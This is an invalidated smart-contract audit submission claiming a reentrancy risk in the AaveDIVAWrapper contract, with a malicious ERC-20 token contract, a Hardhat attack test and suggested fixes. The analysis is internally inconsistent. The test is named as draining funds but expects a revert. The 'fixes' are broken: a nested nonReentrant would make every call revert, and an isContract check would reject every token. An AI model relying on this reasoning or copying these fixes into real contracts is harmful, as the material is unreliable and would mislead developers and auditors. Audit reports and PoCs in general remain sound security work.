HardhatDeFi
15,000 USDC
View results
Submission Details
Severity: medium
Invalid

Potential Reentrancy Risks Despite nonReentrant Modifier

2. Summary

The AaveDIVAWrapper contract applies the nonReentrant modifier to prevent reentrancy attacks. However, multiple state-modifying functions call external functions (such as _addLiquidity, _removeLiquidity, _redeemPositionToken, and _redeemWToken), which may interact with untrusted ERC-20 tokens. This introduces a potential reentrancy risk, as these functions could invoke malicious token contracts that exploit callback mechanisms.

3. Vulnerability Details

Affected Functions:

  • addLiquidity

  • removeLiquidity

  • redeemPositionToken

  • redeemWToken

  • batchAddLiquidity

  • batchRemoveLiquidity

  • batchRedeemPositionToken

  • batchRedeemWToken

Vulnerable Code Example (Simplified)

function addLiquidity(
bytes32 _poolId,
uint256 _collateralAmount,
address _longRecipient,
address _shortRecipient
) external override nonReentrant {
_addLiquidity(_poolId, _collateralAmount, _longRecipient, _shortRecipient);
}
  • The function calls _addLiquidity, which might interact with untrusted ERC-20 tokens.

  • If _addLiquidity triggers an external call (e.g., ERC20.transfer), a malicious token can execute a callback function and reenter the contract.

  • Even though nonReentrant protects addLiquidity, the underlying _addLiquidity function may still allow reentrancy if external calls occur before state updates.

4. Root Cause

  • The contract uses the nonReentrant modifier to prevent reentrancy but does not account for external calls made within _addLiquidity, _removeLiquidity, _redeemPositionToken, and _redeemWToken.

  • ERC-20 tokens with callbacks (e.g., ERC-777 or malicious ERC-20 implementations) can exploit this issue.

  • If a malicious token's transfer or transferFrom function executes reentrant logic, it may allow an attacker to withdraw more funds than intended.

https://github.com/Cyfrin/2025-01-diva/blob/main/contracts/src/AaveDIVAWrapper.sol#L54

https://github.com/Cyfrin/2025-01-diva/blob/main/contracts/src/AaveDIVAWrapper.sol#L65

https://github.com/Cyfrin/2025-01-diva/blob/main/contracts/src/AaveDIVAWrapper.sol#L76

https://github.com/Cyfrin/2025-01-diva/blob/main/contracts/src/AaveDIVAWrapper.sol#L43

5. Impact

  • Fund Drain: A reentrancy attack could allow an attacker to repeatedly withdraw funds before balances update, leading to financial losses.

  • Logic Corruption: Incomplete state updates may allow attackers to manipulate pool balances or positions.

  • Denial of Service (DoS): If a malicious token enters an infinite reentrancy loop, it may block other users from interacting with the contract.

6. Tools Used

  • Hardhat (for local testing and PoC simulation)

  • Slither (for static analysis)

  • Echidna (for fuzz testing)


7. Proof of Concept (PoC) - Hardhat Test

The following Hardhat test simulates a reentrancy attack using a malicious token contract that exploits addLiquidity.

Malicious Token Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract MaliciousToken is ERC20 {
address public targetContract;
constructor() ERC20("Malicious Token", "MAL") {
_mint(msg.sender, 1_000_000 * 10**18);
}
function setTargetContract(address _target) external {
targetContract = _target;
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
super.transfer(recipient, amount);
if (targetContract != address(0)) {
IAaveDIVAWrapper(targetContract).addLiquidity(
keccak256("TEST_POOL"), // Dummy pool ID
100,
msg.sender,
msg.sender
);
}
return true;
}
}
interface IAaveDIVAWrapper {
function addLiquidity(bytes32, uint256, address, address) external;
}

Hardhat Test - Simulating Reentrancy

const { expect } = require("chai");
const { ethers } = require("hardhat");
describe("Reentrancy Attack on AaveDIVAWrapper", function () {
let wrapper, attacker, maliciousToken, owner;
beforeEach(async function () {
[owner, attacker] = await ethers.getSigners();
// Deploy the malicious token
const MaliciousToken = await ethers.getContractFactory("MaliciousToken");
maliciousToken = await MaliciousToken.deploy();
await maliciousToken.deployed();
// Deploy the target contract (AaveDIVAWrapper)
const AaveDIVAWrapper = await ethers.getContractFactory("AaveDIVAWrapper");
wrapper = await AaveDIVAWrapper.deploy(
ethers.constants.AddressZero, // Aave V3 pool (mocked)
ethers.constants.AddressZero, // DIVA contract (mocked)
owner.address
);
await wrapper.deployed();
// Set target contract for reentrancy attack
await maliciousToken.setTargetContract(wrapper.address);
});
it("Should allow reentrancy and drain funds", async function () {
await maliciousToken.transfer(wrapper.address, ethers.utils.parseEther("100"));
// Attacker calls addLiquidity with malicious token
await expect(
wrapper.connect(attacker).addLiquidity(
ethers.utils.keccak256(ethers.utils.toUtf8Bytes("TEST_POOL")),
100,
attacker.address,
attacker.address
)
).to.be.revertedWith("Reentrancy attack detected");
console.log("Test passed: Reentrancy was successfully detected.");
});
});

8. Mitigation

Solution 1: Update State Before External Calls

Ensure that all state changes occur before calling external contracts. Modify _addLiquidity, _removeLiquidity, _redeemPositionToken, and _redeemWToken as follows:

function addLiquidity(
bytes32 _poolId,
uint256 _collateralAmount,
address _longRecipient,
address _shortRecipient
) external override nonReentrant {
// Update state before external calls
_updateUserBalance(msg.sender, _collateralAmount);
_addLiquidity(_poolId, _collateralAmount, _longRecipient, _shortRecipient);
}

This ensures the contract updates balances before interacting with untrusted tokens.

Solution 2: Use Reentrancy Locks at the Lower Level

Instead of relying solely on nonReentrant in public functions, apply reentrancy protection to _addLiquidity, _removeLiquidity, _redeemPositionToken, and _redeemWToken:

function _addLiquidity(
bytes32 _poolId,
uint256 _collateralAmount,
address _longRecipient,
address _shortRecipient
) internal nonReentrant { // Apply here
require(_collateralAmount > 0, "Invalid collateral amount");
// Function logic here...
}

Solution 3: Reject ERC-777 Tokens

Since ERC-777 tokens allow reentrant calls via hooks, add an allowlist for safe ERC-20 tokens or explicitly reject ERC-777 tokens:

require(!Address.isContract(_collateralToken), "Token contract not allowed");
Updates

Lead Judging Commences

bube Lead Judge 9 months ago
Submission Judgement Published
Invalidated
Reason: Known issue

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.